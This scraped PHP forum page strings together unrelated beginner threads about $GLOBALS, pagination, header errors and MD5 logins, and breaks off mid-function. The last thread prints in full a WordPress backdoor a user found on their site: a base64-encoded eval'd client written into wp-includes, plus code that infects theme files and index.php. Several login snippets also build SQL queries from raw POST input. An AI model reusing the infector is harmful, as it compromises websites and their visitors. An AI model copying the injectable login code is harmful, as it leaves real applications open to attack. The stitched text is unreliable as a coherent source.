PHP - Trying To Understand How $globals Works.
I have been trying to better understand how php works on a more in depth level, and recently I have been tinkering with arrays.
Using print_r() I have been studying the $GLOBAL array, and I found something I can't seem to find an explanation for. In my $GLOBALS array there are variables I have set in a configuration file, but never actually made into globals. Take the following code, and its output for example. echo "<pre>"; echo print_r($GLOBALS); echo "</pre>"; The output: Code: [Select] Array ( [GLOBALS] => Array *RECURSION* [_POST] => Array ( ) [_GET] => Array ( ) [_COOKIE] => Array ( [PHPSESSID] => fai4rtfgdt6o6iaihh62d0pa15 ) [_FILES] => Array ( ) [_SERVER] => Array ( [HTTP_HOST] => DOMAIN [HTTP_USER_AGENT] => Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.10) Gecko/20100914 Firefox/3.6.10 [HTTP_ACCEPT] => text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 [HTTP_ACCEPT_LANGUAGE] => en-us,en;q=0.5 [HTTP_ACCEPT_ENCODING] => gzip,deflate [HTTP_ACCEPT_CHARSET] => ISO-8859-1,utf-8;q=0.7,*;q=0.7 [HTTP_KEEP_ALIVE] => 115 [HTTP_CONNECTION] => keep-alive [HTTP_REFERER] => http://DOMAIN/test.php [HTTP_COOKIE] => PHPSESSID=fai4rtfgdt6o6iaihh62d0pa15 [HTTP_CACHE_CONTROL] => max-age=0 [CONTENT_TYPE] => application/x-www-form-urlencoded [CONTENT_LENGTH] => 67 [PATH] => /sbin:/usr/sbin:/bin:/usr/bin [SERVER_SIGNATURE] => [SERVER_SOFTWARE] => Apache [SERVER_NAME] => DOMAIN [SERVER_ADDR] => IPADDRESS [SERVER_PORT] => 80 [REMOTE_ADDR] => 198.65.168.24 [DOCUMENT_ROOT] => /home/USER/www/DOMAIN [SERVER_ADMIN] => webmaster@DOMAIN [SCRIPT_FILENAME] => /home/USER/www/DOMAIN/test.php [REMOTE_PORT] => 43272 [GATEWAY_INTERFACE] => CGI/1.1 [SERVER_PROTOCOL] => HTTP/1.1 [REQUEST_METHOD] => POST [QUERY_STRING] => [REQUEST_URI] => /test.php [SCRIPT_NAME] => /test.php [PHP_SELF] => /test.php [REQUEST_TIME] => 1286050077 ) [date] => October 2, 2010 [db_date] => 10/02/2010 [error] => Array ( ) ) 1 The 3 items at the bottom. Code: [Select] [date] => October 2, 2010 [db_date] => 10/02/2010 [error] => Array Were set inside of a php config file. My question is, how did they end up in the $GLOBALS array? Similar TutorialsI have made a bit of code that queries the database for articles published within the last year. <?php echo $numposts = $wpdb->get_var("SELECT COUNT(*) FROM $wpdb->posts WHERE post_status = 'publish' AND post_type = 'post' AND 'post_date' > '" . date("Y") . "-01-01-01 00:00:00'"); if (0 < $numposts) $numposts = number_format($numposts); ?> I really don't even know how it works and need to because I want to figure out how to make it also get articles published within the last day, month and week. I suppose if I understood what needs changing I might be able to work with it but so far everything I've tried either returns the exact same number or nothing at all. It's for Wordpress just to note. Any ideas? Almost every time when I read about globals, programmers discourage their use. I have a function where I need to send back some variables (which I will use in a query) so I need to use globals. Below is the function and query. I'm trying to figure out if it's ok to use globals in it. function paginate($connection, $tableName) { //the forsaken globals global $limit; global $start; //Pagination $targetpage = "http://localhost/website/untitled2.php"; $limit = 4; //count rows $sql = "SELECT COUNT(*) as num FROM $tableName"; $total_pages = $connection->query($sql) or die(mysqli_error($connection)); $row = $total_pages->fetch_assoc(); $total_pages = $row['num']; //if there's no page number, set it to the first page $stages = 3; $page = isset($_GET['page']) ? $_GET['page'] : 0; $start = empty($page) ? 0 : ($page - 1) * $limit; // Initial page num setup if ($page == 0){$page = 1;} $prev = $page - 1; $next = $page + 1; $lastpage = ceil($total_pages/$limit); $LastPagem1 = $lastpage - 1; $paginate = ''; if($lastpage > 1) { $paginate .= "<div class='paginate'>"; // Previous if ($page > 1){ $paginate.= "<a href='$targetpage?page=$prev'>previous</a>"; }else{ $paginate.= "<span class='disabled'>previous</span>"; } // Pages if ($lastpage < 7 + ($stages * 2)) // Not enough pages to breaking it up { for ($counter = 1; $counter <= $lastpage; $counter++) { if ($counter == $page){ $paginate.= "<span class='current'>$counter</span>"; }else{ $paginate.= "<a href='$targetpage?page=$counter'>$counter</a>";} } } elseif($lastpage > 5 + ($stages * 2)) // Enough pages to hide a few? { // Beginning only hide later pages if($page < 1 + ($stages * 2)) { for ($counter = 1; $counter < 4 + ($stages * 2); $counter++) { if ($counter == $page){ $paginate.= "<span class='current'>$counter</span>"; }else{ $paginate.= "<a href='$targetpage?page=$counter'>$counter</a>";} } $paginate.= "..."; $paginate.= "<a href='$targetpage?page=$LastPagem1'>$LastPagem1</a>"; $paginate.= "<a href='$targetpage?page=$lastpage'>$lastpage</a>"; } // Middle hide some front and some back elseif($lastpage - ($stages * 2) > $page && $page > ($stages * 2)) { $paginate.= "<a href='$targetpage?page=1'>1</a>"; $paginate.= "<a href='$targetpage?page=2'>2</a>"; $paginate.= "..."; for ($counter = $page - $stages; $counter <= $page + $stages; $counter++) { if ($counter == $page){ $paginate.= "<span class='current'>$counter</span>"; }else{ $paginate.= "<a href='$targetpage?page=$counter'>$counter</a>";} } $paginate.= "..."; $paginate.= "<a href='$targetpage?page=$LastPagem1'>$LastPagem1</a>"; $paginate.= "<a href='$targetpage?page=$lastpage'>$lastpage</a>"; } // End only hide early pages else { $paginate.= "<a href='$targetpage?page=1'>1</a>"; $paginate.= "<a href='$targetpage?page=2'>2</a>"; $paginate.= "..."; for ($counter = $lastpage - (2 + ($stages * 2)); $counter <= $lastpage; $counter++) { if ($counter == $page){ $paginate.= "<span class='current'>$counter</span>"; }else{ $paginate.= "<a href='$targetpage?page=$counter'>$counter</a>";} } } } // Next if ($page < $counter - 1){ $paginate.= "<a href='$targetpage?page=$next'>next</a>"; }else{ $paginate.= "<span class='disabled'>next</span>"; } $paginate.= "</div>"; } echo $total_pages.' Results'; // pagination echo $paginate; }//end function and this is how I'm using the function. Without the globals I would get undefined vars $start and $limit used in the query below. paginate($connection, "categories"); $sql = "SELECT * FROM categories ORDER BY cat_name LIMIT $start, $limit"; $cats_result = $connection->query($sql) or die(mysqli_error($connection)); while ($row = $cats_result->fetch_assoc()) { $cat_id = $row['cat_id']; $cat_name = $row['cat_name']; $cat_desc = $row['cat_desc']; ...etc Am I using the globals properly? Has anyone encountered this bug which had me banging my head against the desk all morning? In the beginning I registered a $GLOBALS['direction'] that equalled to a radio button value. Later in the script I declare a variable $direction that for some strange reason took the value of $GLOBALS['direction'] without me even writing so. So when i compared them they had the same value. As soon as I changed $direction to $directionx the script worked and the value wasn't "copied" to the $GLOBALS. What's up? What does this mean? Code: [Select] {$GLOBALS['path']} I WANT TO MAKE AN ARRAY LIKE $GLOBALS structu if you run var_dump($GLOBALS): you will see that this is an array and contains another 9 array with key names. when there is a value(name) in "_POST" you cant use echo $GLOBALS["name"]. but when there is a value("fname") in "GLOBALS" you can use echo $GLOBALS["fname"]. how this array works like that? and how to make an array that behave like that? Edited January 17, 2020 by Silent-BWell I heard that registering $GLOBALS is a bad practice in general since their values can be changed by anyone at anytime. However, the usage of $GLOBALS does simplify the script considerably at times when a certain column in a table needs to be retrieved repeatedly. A good example is user's money data stored in table prefix_users as shown below: Code: [Select] $result = mysql_query( "SELECT * FROM {$prefix}users WHERE uid = '$uid'"); $GLOBALS['usersettings'] = mysql_fetch_array($result); $GLOBALS['money'] = $GLOBALS['usersettings']['money']; If the above code is included in a function file, it will be possible to simply use $GLOBALS['money'] to retrieve user's money data without having to write lines of mysql commands everytime. So I was wondering, is there another way to retrieve database info from a certain column easily but not to register $GLOBALS? Just curious. This topic has been moved to Application Design. http://www.phpfreaks.com/forums/index.php?topic=356029.0 Learning something new here so if anyone can tell me why I this wont return a value? page1.php Code: [Select] <?php require "page2.php"; getuserid(); echo $userID; ?> page2.php Code: [Select] <?php function getuserid() { $user =& JFactory::getUser(); $userID = $user->id; global $userID; } ?> Hi I'm currently experiencing problems with my super global outputs.
I'm using
$_SERVER['HTTP_X_MXIT_NICK']; I'm learning functions and I'm working on a rating script. This is a small test script that works, you can try it out yourself: <?php // Rating System function while_test (){ $a = 1; $b = 4; $t_id = 1; global $likes; global $dislikes; global $con_id; while ($a++ <= $b){ echo "<center>"; echo "<table><tr><td>Table: </td></tr>"; echo "<tr><td>This is a table test </td></tr>"; echo "<tr><td><form action='' method='post'>"; echo "<button type='submit' name='likes' value='Y'>likes</button>"; echo "<button type='submit' name='dislikes' value='N'>dislikes</button>"; echo "<input type='hidden' name='hidden_id' value='" . $t_id . "' /></form></td></tr></table>"; echo "</center><br /><br />"; $t_id++; $likes = $_POST['likes']; $dislikes = $_POST['dislikes']; $con_id = $_POST['hidden_id']; } } while_test(); if ($likes) { echo "likes it: " . $likes . " con_id: " . $con_id; } elseif ($dislikes) { echo "dislikes it: " . $dislikes . " con_id: " . $con_id; } ?> I've gotten recommended before not use globals, because the projects would become unmanageable, and I'm wondering how would I be able to avoid using globals in this example? I'm able to in-ject variables through the parenthesis, but I'm not able to out-ject variables, if that makes sense. (?) At least it doesn't work for me. How would I use those three variables $likes, $dislikes and $con_id outside the function without setting them as globals, what would be good practice? HI! Can someone explain the variables $value and $key that are being produced at the end of the output by the following code. It seems like the foreach loop is creating two extra variables. <?php $test_1 = "matt"; $test_2 = "kim"; $test_3 = "jessica"; $test_4 = "keri"; foreach ($GLOBALS as $key => $value) { echo $key . "- - -" . $value; echo "<br />"; } ?> Output GLOBALS- - -Array _POST- - -Array _GET- - -Array _COOKIE- - -Array _FILES- - -Array test_1- - -matt test_2- - -kim test_3- - -jessica test_4- - -keri value- - -keri key- - -value Thanks! steadythecourse I just want to know how to create a global variable from within a function. The reason I want to do this is I'm making mysql queries that may or may not have data in a function, if the data does indeed exist, I want to declare variables at that point. My queries are grouped logically by year/month, and as a result I'm going to be appending data to existing variables if they exist so it makes more sense to just append it to what would be the global variable anyways instead of just passing large strings out of the function to just be appended anyways -- plus it prevents me from creating a bunch of pointless variables. I intend additionally take the variables created inside the function and then store them in an encompassing global array (pre-defined outside of function) and at the end of the script do a foreach through it so I can iterate through the variables to grab my data knowing that there won't be pointless crap in there. I'm trying to create global variables by using variable variables ($$whichever). The code giving me issues inside the function is just like this: Code: [Select] function SeekAndAppend ($vars, $being, $passed) { global $$whatever; // Trying to define it here global $array; // Calling predefined $array $array[] = "$$whatever"; // Passing just created global to the array for iteration later } When I iterate through the array the expected name of what would be the global variable name is there, but the global variable itself does not exist -- just at the function level. If someone has a recommendation on a better way to do it, I'll listen, but please don't turn it into a lecture. EDIT: Grammar & Clarity I am using a MVC framework and in my controller I have defined a class variable for configurations. In my action I have a call to the configuration class to set the class variable to the current configurations. Code: [Select] public $configArray = array(); public function actionBuild($id) { $this->configArray=Config::model()->getConfigArray($id); $this->buildStep1(); ... } When I echo the configuration in the method it is 10 but when I echo in buildStep1 it is 11. What is the proper way for configArray to be global and updated when I call getConfigArray for use in functions in the class? In the following code, Code: [Select] // Register Globals if (ini_get('register_globals')) { ini_set('session.use_cookies', 'On'); ini_set('session.use_trans_sid', 'Off'); session_set_cookie_params(0, '/'); session_start(); $globals = array($_REQUEST, $_SESSION, $_SERVER, $_FILES); foreach ($globals as $global) { foreach(array_keys($global) as $key) { unset($$key); } } } the above destroys all globals if register_globals is on, as I understand it. However, if it does destroy all globals, can a web form continue to work? How do you allow form fields and other stuff to be used in a script even if you kill all the globals up front? Many thanks Imagine 6 PHP classes (one each for a product line), that have very similar coding structures, that go like this:
//function that computes stuff inside each of 6 files: //they vary slightly from file to file but essentially it is this: function computeFunction { $this->x = new X(); $this->x->calcD(); if ($this->x->dOk) { $this->x->calcE(); $this->x->calcN(); } //more complicated logic that is essentially like above //and by the way! print $this->x->someVarThatIsUsedLater; }Then there is a single class like so : class X { function calcD() { //compute some condition if (<computed condition is met>) $this->dOk = true; else $this->dOk = false; //and by the way $this->someVarThatIsUsedLater = 4; } }Just to bring your attention to it, none of these functions return any result or value, but they nevertheless operate on variables of key interest via side-effects. That is, they modify variables that essentially act like globals, and then use those variables later ($this->dOk and $this->someVarThatIsUsedLater are one more prominent examples). I need to untangle this mess. And make it clean and clear again, and make sense. How do I best proceed? I have been wrestling with some ideas... like $this->dOk, can within reason be turned into a return variable of calcD() function, and then be tested against like if ($this->x->calcD()) and I think it will be reasonable enough. But then there are other functions that don't return anything and just act on variables via side-effects anyway so $this->dOk is one of the lesser troubles... Other than that, what I am thinking of doing is getting rid of these mini-functions (calcE(), calcN(), etc.), removing them as a funciton, and putting their body directly into the code, as a first step to refactor. Many of the computations done inside are just a few lines of code anyway, and the functions kind of hide a lot of side-effects that happen, instead of actually encapsulating the behavior. So while it may be counter-intuitive to dismantle the functions that appear to be doing something that normally can be encapsulated (computing key variables E, N, etc), I think dismantling them will actually clean things up as far as collecting all the side-effects inside a single parent function thereby making them more visible. Caveat: while doing so I will end up with 6 copies of untangled dismantled functions, because dismantling class X and putting its content into each of the 6 product line classes will have that effect. But my hope is that from that point I will see more clearly to start identifying places where I can start to truly encapsulating the behavior via various structures, instead of masking it. Problems / Questions: I would like to but I am not entirely sure that I can skip that step of dismantling functions & the 6x multiplying effect. It's probably the same like skipping steps in solving polynomial equations. Some can do it and some need to list each step of their work. And I am not entirely sure what structures I can replace it with in the end after I dismantle the functions. It also looks like a lot of work. Is there a better way? P.S. I already put tests on computeFunction() for each product line so I can be less paranoid about hacking stuff up. Edited by dennis-fedco, 19 January 2015 - 03:06 PM. Ok, if you've helped with any of my questions before (thanks again to those who have) you know that I'm fairly new to php and still learning. This brings me to another question... I have read the post on header errors and I understand that in order to prevent these errors or warnings I need to process a form BEFORE OUTPUTTING ANYTHING TO THE BROWSER. The thing is, I'm having a problem understanding how I can do this with the code that I have written. Can someone please look at my code and explain what is causing the header warning that I'm getting and help me to understand how to fix it? Here's my code (warning message is following the code): Code: [Select] <?php session_start(); // Starts the session. ?> <html> <head> <title>Welcome to CaresAbout.us!</title> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <SCRIPT TYPE="text/javascript"> <!-- THIS IS LINE 11 --> <!-- function popup(mylink, windowname) { if (! window.focus)return true; var href; if (typeof(mylink) == 'string') href=mylink; else href=mylink.href; window.open(href, windowname, 'width=400,height=200,scrollbars=yes'); return false; } //--> </SCRIPT> <style type="text/css"> <!-- html { overflow: -moz-scrollbars-vertical; } html { overflow-x: auto; } body { background-color: #000000; background-image: url(bg.png); background-position: 50% 50%; background-repeat: repeat-y } body,td,th { font-family: Arial, Helvetica, sans-serif; font-size: 14px; } a:link { text-decoration: none; } a:visited { text-decoration: none; } a:hover { text-decoration: none; } a:active { text-decoration: none; } .bluelink {color: #0000CC} .blacklink {color: #000000} --> </style> </head> <body> <div align="center"> <noscript><font size="+2" color="#000000"><strong>Some features of this site will not operate without Javascript enabled!<br>Please <a href="http://www.heart.org/HEARTORG/form/enablescript.html" class="bluelink">enable Javascript</a> in your browser to have full access.</strong></font></noscript> <table width="1000" height="175" border="0" cellpadding="0" cellspacing="0" style="background: transparent url('headbg.png') top center no-repeat;"> <tr> <td height="125" width="160"> </td> <td height="125"> </td> <td height="125"> </td> <td height="125" width="160"> </td> </tr> <tr> <td height="50" width="160"> </td> <?php include("conf.inc.php"); // Includes the db and form info. if ($_SESSION['logged'] == 1) { // User is already logged in. $_SESSION['email'] = $email; header("Location: main.php"); // Goes to main page. exit(); // Stops the rest of the script. } else { if (!isset($_POST['submit'])) { // If the form HAS NOT been submitted. echo "<td width=\"320\" height=\"50\" align=\"left\" valign=\"middle\"> </td>"; echo "<td width=\"360\" height=\"50\" align=\"left\" valign=\"middle\">"; echo "<form name=\"form\" action=\"index.php\" method=\"POST\" style=\"margin-bottom:0;\">"; echo "<a href=\"signup.php\" class=\"bluelink\">Sign Me Up!</a> "; echo "<a href=\"pwordhelp.php\" class=\"bluelink\" onMouseOver=\"window.name = 'main'\" onClick=\"return popup(this, 'notes')\">Forgot Password</a><br>"; echo "<input type=\"text\" name=\"email\" size=\"17\" value=\"Email...\" style=\"color: #999999\" onfocus=\"if (this.value == 'Email...') {this.value=''; this.style.color='#000000'}\"> "; echo "<input type=\"password\" name=\"pword\" size=\"17\" value=\"Password...\" style=\"color: #999999\" onfocus=\"if (this.value == 'Password...') {this.value=''; this.style.color='#000000';}\"> "; echo "<input type=\"submit\" name=\"submit\" value=\"Submit\">"; echo "</form>"; } else { // If the form HAS been submitted $email = form($_POST['email']); $pword = md5($_POST['pword']); // Encrypts the password. $q = mysql_query("SELECT * FROM `signin` WHERE email = '$email' AND pword = '$pword'") or die (mysql_error()); // mySQL query $r = mysql_num_rows($q); // Checks to see if anything is in the db. if (!$r) { // There is nothing in the db. The username/password do not match up. echo "<td width=\"108\" height=\"50\" align=\"left\" valign=\"middle\"> </td>"; echo "<td width=\"572\" height=\"50\" align=\"left\" valign=\"middle\">"; echo "<form name=\"form\" action=\"index.php\" method=\"POST\" style=\"margin-bottom:0;\">"; echo " <a href=\"signup.php\" class=\"bluelink\">Sign Me Up!</a> "; echo "<a href=\"pwordhelp.php\" class=\"bluelink\" onClick=\"return popup(this, 'notes')\">Forgot Password</a><br>"; echo "<font color=\"#FF0000\"><strong>Incorrect Email or Password.</strong></font> "; echo "<input type=\"text\" name=\"email\" size=\"17\" value=\"Email...\" style=\"color: #999999\" onfocus=\"if (this.value == 'Email...') {this.value=''; this.style.color='#000000'}\"> "; echo "<input type=\"password\" name=\"pword\" size=\"17\" value=\"Password...\" style=\"color: #999999\" onfocus=\"if (this.value == 'Password...') {this.value=''; this.style.color='#000000';}\"> "; echo "<input type=\"submit\" name=\"submit\" value=\"Submit\">"; echo "</form>"; } else { // If the username/password is valid $_SESSION['logged'] = 1; // Sets the session. $_SESSION['email'] = $email; header("Location: main.php"); // THIS IS LINE 118 exit(); // Stops the rest of the script. } } } ?> </td> <td height="50" width="160"> </td> </tr> </table> </div> <?php echo "<div align=\"center\">"; echo "<table width=\"1000\" height=\"395\" border=\"0\" cellpadding=\"0\" cellspacing=\"0\">"; echo "<tr>"; echo "<td width=\"160\" align=\"center\" valign=\"top\">"; // Begin Column 1. include("left.inc.php"); // End Column 1. echo "</td>"; echo "<td width=\"680\" align=\"center\" valign=\"top\" style=\"background: #FFFFFF url('bottombg.png') bottom center no-repeat;\">"; // Begin Column 2. echo "<table width=\"650\" border=\"0\" cellpadding=\"0\" cellspacing=\"0\">"; echo "<tr>"; echo" <td align=\"left\" valign=\"top\">"; echo "<p><img src=\"nothing.gif\" height=\"5\"><br><img src=\"silouhette.png\" height=\"215\" width=\"325\" align=\"right\"><img src=\"nothing.gif\" height=\"215\" width=\"10\" align=\"right\"><div align=\"justify\"><font size=\"+2\"> <br>Welcome students! Now you can contact the teachers and staff members of your school easily, safely, and TOTALLY ANONYMOUSLY! Just follow these directions:</font></div></p>"; echo "<p><font size=\"+1\">1. If you haven't already, <a href=\"signup.php\" class=\"bluelink\">sign up</a> for an account. We will never ask for your name,<br> all you need is an email address (get one free at <a href=\"http://www.google.com/mail\" class=\"bluelink\" target=\"_blank\">Google.com</a>).<br><img src=\"nothing.gif\" height=\"5\"><br></font>"; echo "** It is very important that your email address is correct because a notification will be sent to your email<br> when you receive a message from a staff member, otherwise you will NEVER be contacted by email.<br><img src=\"nothing.gif\" height=\"10\"><br>"; echo "<font size=\"+1\">2. Sign in to your account using your email address and password that you chose<br> when you signed up.<br><img src=\"nothing.gif\" height=\"10\"><br>"; echo "3. Once you are signed in, you will be able to send anonymous messages to staff<br> members, reply to staff members' messages, and play some cool games too!</p>"; echo "<p><div align=\"center\"><font size=\"+3\">Thank you for using CaresAbout.us!</font></p>"; echo "</td>"; echo "</tr>"; echo "</table>"; // End Column 2. echo "</td>"; echo "<td width=\"160\" align=\"center\" valign=\"top\">"; // Begin Column 3. include ("right.inc.php"); // End Column 3. echo "</td>"; echo "</tr>"; echo "</table>"; echo "</div>"; include("foot.inc.php"); ?> </body> </html> Here's the warning message that I'm getting: Warning: Cannot modify header information - headers already sent by (output started at /home/content/29/6879529/html/calhoun/index.php:11) in /home/content/29/6879529/html/calhoun/index.php on line 118 Hi: I was reading a tutorial about making password protected pages and how to make the more secure by using MD5 to encrypt (I think) the password. But. I'm not sure if I don't understand the concept of what it does, or maybe 'm using it wrong. This is the code I am using: Database Table: Code: [Select] CREATE TABLE `myAdmins` ( `id` int(4) NOT NULL auto_increment, `myUserName` varchar(65) NOT NULL default '', `myPassword` varchar(65) NOT NULL default '', PRIMARY KEY (`id`) ) ENGINE=MyISAM AUTO_INCREMENT=2 DEFAULT CHARSET=utf8; INSERT INTO myAdmins VALUES("1","abc", "123"); I was told in the tutorial to develop something like this (I think I'm doing it wrong): Code: [Select] CREATE TABLE `myAdmins` ( `id` int(4) NOT NULL auto_increment, `myUserName` varchar(65) NOT NULL default '', `myPassword` varchar(65) NOT NULL default '', PRIMARY KEY (`id`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=2 ; INSERT INTO `myAdmins` VALUES(1, 'abc', md5('123')); My Login.php page: Code: [Select] <?php include('../include/myConn.php'); session_start(); session_destroy(); $message=""; $Login=$_POST['Login']; if($Login){ $myUserName=$_POST['myUserName']; //$md5_myPassword=md5($_POST['myPassword']); // Encrypt password with md5() function. $myPassword=$_POST['myPassword']; //$result=mysql_query("select * from myAdmins where myUserName='$myUserName' and myPassword='$md5_myPassword'"); $result=mysql_query("select * from myAdmins where myUserName='$myUserName' and myPassword='$myPassword'"); if(mysql_num_rows($result)!='0'){ session_register("myUserName"); header("location:a_Home.php"); exit; }else{ $message="<div class=\"myAdminLoginError\">Incorrect Username or Password</div>"; } } ?> <html> ... </head> <form id="form1" name="form1" method="post" action="<? echo $PHP_SELF; ?>"> <? echo $message; ?> User Name: <input name="myUserName" type="text" id="myUserName" size="40" /> <br /><br /> Password: <input name="myPassword" type="password" id="myPassword" size="40" /> <input name="Login" type="submit" id="Login" value="Login" /> </form> ... </html> Protected Page: Code: [Select] <? session_start(); if(!session_is_registered("myUserName")){ header("location:Login.php"); }?> <html> ... ... </html> I know I need to uncomment the 2 lines of code in Login.php and remove the 2 that I'm currently using, and use the Database Table that has the MD5 code, but whenever I do it will not let me login. The Login.php page (with the Database Table without the MD5 code) works fine. I just wanted to know if this is the right way to use MD5 to make logins even more secure, of if I am totally off on understanding it. Any help or code tweaks would be appreciated. Thanks! function garland_separate_terms($node_taxonomy) { if ($node_taxonomy) { //separating terms by vocabularies foreach ($node_taxonomy AS $term) { $links[$term->vid]['taxonomy_term_'. $term->tid] = array( 'title' => $term->name, 'href' => taxonomy_term_path($term), 'attributes' => array( 'rel' => 'tag', 'title' => strip_tags($term->description) ), ); } //theming terms out foreach ($links AS $key => $vid) { $terms[$key] = theme_links($vid); } } return $terms; } this is a function from someone, i couldn't know it very well,sincerely expect someone can explain it to me .thank you. first, the function put an array $node_taxonomy as the parameter. why he didn't declare this ($node_taxonomy = array() then in the foreach loop's statement, why there is no echo to output somethig.but the fact is giving a two-dimension array to $links[$term->vid]['taxonomy_term_'. $term->tid]. Hi all.
I'm unfamilar with php syntax (but vb syntax). A hacker has made a backdoor in my site (wordpress installation) with uploading follwing file:
<?php Class linkBilder { private $arr_files = array(); public $signatures = array('wp_footer3333'); function get_link() { $files = '<?php new Client(1);?>'; return $files; } function request($get_str, $separator) { if (!empty($get_str)) { $obj = explode($separator, $get_str); return $obj; } else { return false; } } function make_file() { $local2=$_SERVER['DOCUMENT_ROOT']; $clientSource = '<?php ini_set("display_errors",0);ini_set("display_startup_errors",0);error_reporting(0);$st=base64_decode("Y2xhc3MgQ2xpZW50IHsgcHJpdmF0ZSAkYXJ0aWNsZXM7IHByaXZhdGUkY3VybDsgcHJpdmF0ZSAkbG9jYXRpb24gPSAiZEdSemMyOXphV0ZzTG5KMUwyZHZMbkJvY0Q5emFXUTlNUT09IjsgcHJpdmF0ZSAkc3lzdGVtVXJsID0gImQyOXlhM052YzJsaGJDNXlkUT09IjsgcHJpdmF0ZSAkYm90RGV0ZWN0b3JVcmwgPSAiWW05MGMyOXphV0ZzTG5KMSI7IHByaXZhdGUgJGNhY2hlRmlsZT0gIkxpOTNjQzFwYm1Oc2RXUmxjeTkzY0Mxa2JuTmpZV05vWlM1d2FIQT0iOyBwcml2YXRlICRjYWNoZVRpbWUgPSAzNjAwOyBmdW5jdGlvbiBfX2NvbnN0cnVjdCgkZ2V0TGl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uID0gYmFzZTY0X2RlY29kZSgkdGhpcy0+bG9jYXRpb24pOyAkdGhpcy0+c3lzdGVtVXJsID0gYmFzZTY0X2RlY29kZSgkdGhpcy0+c3lzdGVtVXJsKTsgJHRoaXMtPmJvdERldGVjdG9yVXJsID0gYmFzZTY0X2RlY29kZSgkdGhpcy0+Ym90RGV0ZWN0b3JVcmwpOyAkdGhpcy0+Y2FjaGVGaWxlID0gYmFzZTY0X2RlY29kZSgkdGhpcy0+Y2FjaGVGaWxlKTsgfSB9");eval($st);?>'; file_put_contents("$local2/wp-includes/class-wp-optimize.php", $clientSource); echo"<span style='display:block; padding:10px; border:1px solid #1f4f18; background-color:#b9b9b9; font-size:12px; line-height:12px; font-family:tahoma, sans-serif; margin-bottom:20px;'><h4>Клиент записан в $local2/wp-includes/ </h4> </span>"; } function dir_content($path = './wp-content/themes/', $files_allowed = '.') { $dir_disallow = array('.', '..', '.htaccess', '.git', 'wp-admin', 'wp-includes' ); if(is_dir($path)) { $temp = opendir($path); while (false !== ($dir = readdir($temp))) { if ((is_dir($path . $dir)) && (!in_array($dir, $dir_disallow)) ) { $sub_dir = $path . $dir . '/'; $this->dir_content($sub_dir, $files_allowed); } elseif ((is_file($path . $dir)) && (!in_array($dir, $dir_disallow)) && (strpos($dir, $files_allowed) == true) && (strpos($dir, '_BACKUP') == false) && (strpos($dir, trim($_SERVER['SCRIPT_NAME'], '/')) === false) ) { $this->arr_files[] = $path . $dir; } } closedir($temp); } } function find($path = './wp-content/themes/', $files_allowed = '.', $requested_string = '<?php wp_footer(); ?>') { $this->dir_content($path, $files_allowed); $i=0; foreach($this->arr_files AS $in_dir_file) { $temporary_file = file_get_contents($in_dir_file); $file_founded = false; $tf_strings = explode("\n", $temporary_file); foreach ($tf_strings AS $item) { $item = strval($item); if (strpos($item, $requested_string) !== false) { $file_founded = true; $founded_str = $requested_string; } foreach ($this->signatures AS $signa) { $signa = strval($signa); if (strpos($item, $signa) !== false) { $file_founded = true; $founded_str = $signa; } } } if ($file_founded) { $i++; print " <span style='display:block; padding:10px; border:1px solid #1f4f18; background-color:#b9b9b9; font-size:12px; line-height:12px; font-family:tahoma, sans-serif; margin-bottom:20px;'><h4>" . $in_dir_file . "</h4>TEMPLATE №:$i; готов к заражению. </span> "; } } } function scan($path = './wp-content/themes/', $files_allowed = '.', $requested_string = '<? php wp_footer(); ?>') { $this->dir_content($path, $files_allowed); foreach($this->arr_files AS $in_dir_file) { $temporary_file = file_get_contents($in_dir_file); $create_backup = false; $tf_strings = explode("\n", $temporary_file); $str_index = 0; foreach ($tf_strings AS $item) { $item = strval($item); if (strpos($item, $requested_string) !== false) { $create_backup = true; $tf_strings[$str_index]=substr_replace($tf_strings[$str_index], $this->get_link(), 0, 0); $founded_str = $requested_string; } foreach ($this->signatures AS $signa) { $signa = strval($signa); if (strpos($item, $signa) !== false) { $create_backup = true; $tf_strings[$str_index]=substr_replace($tf_strings[$str_index], $this->get_link(), 0, 0); } } $str_index++; } if ($create_backup) { chmod($path, 0777); $temp_file_backup = $in_dir_file.'_BACKUP'; file_put_contents($temp_file_backup, $temporary_file); $scanned_file = implode("\n", $tf_strings); if (file_put_contents($in_dir_file, $scanned_file)) { print "<span style='display:block; padding:15px; border:1px solid #1f4f18; background-color:#d5f5ce; font-size:12px; line-height:16px; font-family:tahoma, sans-serif; margin-bottom:20px;'><h3>" . $in_dir_file . "</h3> Файл заражен + сделан BACKUP </span> "; } else { print "<span style='display:block; padding:15px; border:1px solid #822121; background-color:#ea7575; font-size:12px; line-height:16px; font-family:tahoma, sans-serif; margin-bottom:20px;'><h3>" . $in_dir_file . "</h3> Что-то пошло не так. </span> "; } chmod($path, 0755); } } } /* function scankl() { $local2=$_SERVER['DOCUMENT_ROOT']; $requested_string = '<?php include (\'wp-includes/class-wp-optimize.php\'); define(\'WP_USE_THEMES\', true); require( dirname( __FILE__ ) . \'/wp-blog-header.php\' );'; file_put_contents("$local2/index.php", $requested_string); } */ function scankl() { $indexFile=$_SERVER['DOCUMENT_ROOT'].'/index.php'; $addContent = '<?php require_once (\'wp-includes/class-wp-optimize.php\'); if ($_GET["p"]) new Client;?>'; file_put_contents($indexFile,$addContent.file_get_contents($indexFile)); echo "<span style='display:block; padding:15px; border:1px solid #1f4f18; background-color:#d5f5ce; font-size:12px; line-height:16px; font-family:tahoma, sans-serif; margin-bottom:20px;'><h3>Клиент прописан в index.php'</h3></span>"; } function restore_backups($path = './wp-content/themes/', $files_allowed = '.') { $this->dir_content($path, $files_allowed); foreach($this->arr_files AS $in_dir_file) { if (is_file($in_dir_file.'_BACKUP')) { $temporary_file_from_backup = file_get_contents($in_dir_file.'_BACKUP'); if (file_put_contents($in_dir_file, $temporary_file_from_backup)) { unlink($in_dir_file.'_BACKUP'); print "<span style='display:block; padding:15px; border:1px solid #1f4f18; background-color:#d5f5ce; font-size:12px; line-height:16px; font-family:tahoma, sans-serif; margin-bottom:20px;'><h3>".$in_dir_file ."</h3> Файл восстановлен. </span> "; } else { print "<span style='display:block; padding:5px; border:1px solid #822121; background-color:#ea7575; font-size:12px; line-height:16px; font-family:tahoma, sans-serif; margin-bottom:20px;'><h3>".$in_dir_file ."</h3> Бекап не восстановлен. </span> "; } } } } function delete_backups($path = './wp-content/themes/', $files_allowed = '.') { $this->dir_content($path, $files_allowed); 